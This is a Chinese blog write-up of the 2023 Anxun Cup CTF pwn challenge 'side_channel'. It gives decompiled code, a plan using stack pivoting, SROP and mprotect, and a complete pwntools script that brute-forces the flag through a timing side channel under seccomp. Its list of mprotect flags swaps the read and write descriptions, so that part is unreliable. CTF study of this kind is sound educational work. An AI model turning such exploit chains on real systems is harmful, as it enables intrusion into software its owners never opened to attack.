2023 安洵杯-PWN-【side_channel】

本文详细描述了在side_channellibc2.37环境中,通过检查源码、利用syscall和gadget进行信道爆破、修改内存权限以执行shellcode的过程,包括如何使用SROP、seccomp规则和mprotect函数来实现攻击目标。
摘要由CSDN通过智能技术生成

side_channel libc 2.37

检查

在这里插入图片描述
禁用了write,能用open和read和mprotect

IDA源码

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  sub_401448();
  sub_40136E();
  return 0LL;
}
int sub_401448()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return setvbuf(stderr, 0LL, 2, 0LL);
}
__int64 sub_40136E()
{
  char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF
  _QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREF

  v2[0] = 0x6F6E6B2075206F44LL;
  v2[1] = 0x6920746168772077LL;
  v2[2] = 0xA3F444955532073LL;
  strcpy(v1, "easyhack\n");
  syscall(1LL, 1LL, v1, 9LL);
  syscall(0LL, 0LL, &unk_404060, 4096LL);
  syscall(1LL, 1LL, v2, 24LL);
  sub_40119E();
  syscall(0LL, 0LL, v1, 58LL);
  return 0LL;
}
__int64 sub_40119E()
{
  __int64 result; // rax
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    perror("seccomp_init");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 90LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 15LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 10LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  result = seccomp_load(v1);
  if ( (int)result < 0 )
  {
    perror("seccomp_load");
    exit(1);
  }
  return result;
}

思路

和上题差不多,但需要测信道爆破和mprotect修改内存段属性
通过栈迁移到bss上去,然后通过SROP依次调用open,read,mprotect,shellcode
使用完mprotect后,即syscall完后pop rbp,ret,此时ret时的栈顶为shellcode在bss上的地址

选择合适的syscall的gadget

使用ROPgadget没有找到
但是查看IDA中却有,算作一个教训吧
在这里插入图片描述

寻找可写入shellcode的内存区间

写入并执行shellcode,那么意味着该区间需要w和x,观察全部,发现没有符合的,此时需要修改内存段的权限才行
在这里插入图片描述

mprotect()修改属性

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

注意这里start要为某页的起始地址,len需要为页大小的整数倍

注意即使原来属性有 PROT_READ和 PROT_WRITE,当使用mprotect时参数如果为PROT_EXEC,那么将只存在PROT_EXEC属性,如果此时有访问或者写的操作将会引发异常
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

  • PROT_READ:表示内存段内的内容可写;

  • PROT_WRITE:表示内存段内的内容可读;

  • PROT_EXEC:表示内存段中的内容可执行;

  • PROT_NONE:表示内存段中的内容根本没法访问。

需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。

如果执行成功,则返回0;如果执行失败,则返回-1,并且设置errno变量,说明具体因为什么原因造成调用失败。错误的原因主要有以下几个:

1)EACCES
该内存不能设置为相应权限。这是可能发生的,比如,如果你 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 标志为 PROT_WRITE。

2)EINVAL

start 不是一个有效的指针,指向的不是某个内存页的开头。

3)ENOMEM

内核内部的结构体无法分配。

4)ENOMEM

进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。

如果调用进程内存访问行为侵犯了这些设置的保护属性,内核会为该进程产生 SIGSEGV (Segmentation fault,段错误)信号,并且终止该进程。

exp

注意flag为“”与字符相加时才可以通过print输出字符,flag为0与字符相加时不会输出

from pwn import*
context(os="linux",arch="amd64")

#gdb.attach(f, "b main")
flag=""
for one in range(0,40):
    for two in range(0x20,0x80):
        try:
            f=process("./chall")# 创建了一个进程
            leave_ret=0x401446
            bss=0x404060
            mov_rax_0xf=0x0000000000401193
            syscall_pop_rbp_ret=0x000000000040118A

            fram_open=SigreturnFrame()
            fram_open.rax=constants.SYS_open
            fram_open.rdi=bss
            fram_open.rsi=constants.O_RDONLY
            fram_open.rip=syscall_pop_rbp_ret
            fram_open.rsp=bss+248+16+8

            fram_read=SigreturnFrame()
            fram_read.rax=constants.SYS_read
            fram_read.rdi=3
            fram_read.rsi=bss
            fram_read.rdx=40
            fram_read.rip=syscall_pop_rbp_ret
            fram_read.rsp=bss+248+16+248+16+16

            shellcode='''
            loop:
            cmp byte ptr[0x404060+{0}], {1}
            jz loop
            '''.format(one,two)

            shellcode_address=bss+248+16+248+16+16+24+248+16

            fram_mprotect=SigreturnFrame()
            fram_mprotect.rax=constants.SYS_mprotect
            fram_mprotect.rdi=0x404000  #为页的起始地址
            fram_mprotect.rsi=0x1000
            fram_mprotect.rdx=constants.PROT_EXEC|constants.PROT_READ|constants.PROT_WRITE
            fram_mprotect.rip=syscall_pop_rbp_ret
            fram_mprotect.rsp=bss+248+16+248+16+16+24+248


            payload1=b"./flag"+2*b"\x00"+p64(mov_rax_0xf)+p64(syscall_pop_rbp_ret)+bytes(fram_open)+p64(0)+p64(mov_rax_0xf)+p64(syscall_pop_rbp_ret)+bytes(fram_read)+p64(0)+p64(mov_rax_0xf)+p64(syscall_pop_rbp_ret)+bytes(fram_mprotect)+p64(0)+p64(shellcode_address)+asm(shellcode)
            f.sendlineafter(b"easyhack\n",payload1)

            payload2=0x2a*b"a"+p64(bss)+p64(leave_ret)
            f.sendlineafter(b"Do u know what is SUID?\n",payload2)
            
            f.recv(timeout=1)
            f.close()

            flag=flag+chr(two)
            print("flag:",flag)
            one=one+1
            break
        except:
            pass
            f.close()# 不关闭导致运行的进程过多而停止
            two=two+1

在这里插入图片描述

  • 29
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

看星猩的柴狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值